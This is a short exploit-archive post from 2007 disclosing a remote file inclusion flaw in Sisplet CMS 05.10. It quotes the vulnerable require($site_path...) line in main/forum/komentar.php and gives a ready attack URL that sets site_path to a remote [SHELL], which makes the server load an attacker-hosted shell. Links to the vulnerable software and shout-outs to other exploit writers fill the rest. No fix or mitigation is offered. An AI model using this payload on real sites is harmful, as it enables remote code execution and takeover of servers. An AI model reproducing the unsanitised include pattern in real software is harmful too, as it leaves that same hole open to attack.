[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Sisplet CMS <= 05.10 (site_path) Remote File Inclusion Vulnerability
# Published : 2007-04-05
# Author : kezzap66345
# Previous Title : SmodCMS <= 2.10 (Slownik ssid) Remote SQL Injection Exploit
# Next Title : CodeWand phpBrowse (site_path) Remote File Inclusion Vulnerability
Sisplet CMS
*****************
Found by kezzap66345 *
*****************
*****************
Script Download:http://www.sisplet.org/uploadi/editor/Sisplet0504.tar.bz2
https://sourceforge.net/project/showfiles.php?group_id=111881
*****************
*****************
ERROR#1:
File:main/forum/komentar.php
*****************
require($site_path.'main/forum/class.php'); <<< rfi coded
**************************************************************************************
RFI#1:
http://SITE.com/path/main/forum/komentar.php?site_path=[SHELL]
**************************************************************************************
**************************************************************************************
Thanks:Siircicocuk and x0r0n
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK****str0ke**************************************************
# www.Syue.com [2007-04-05]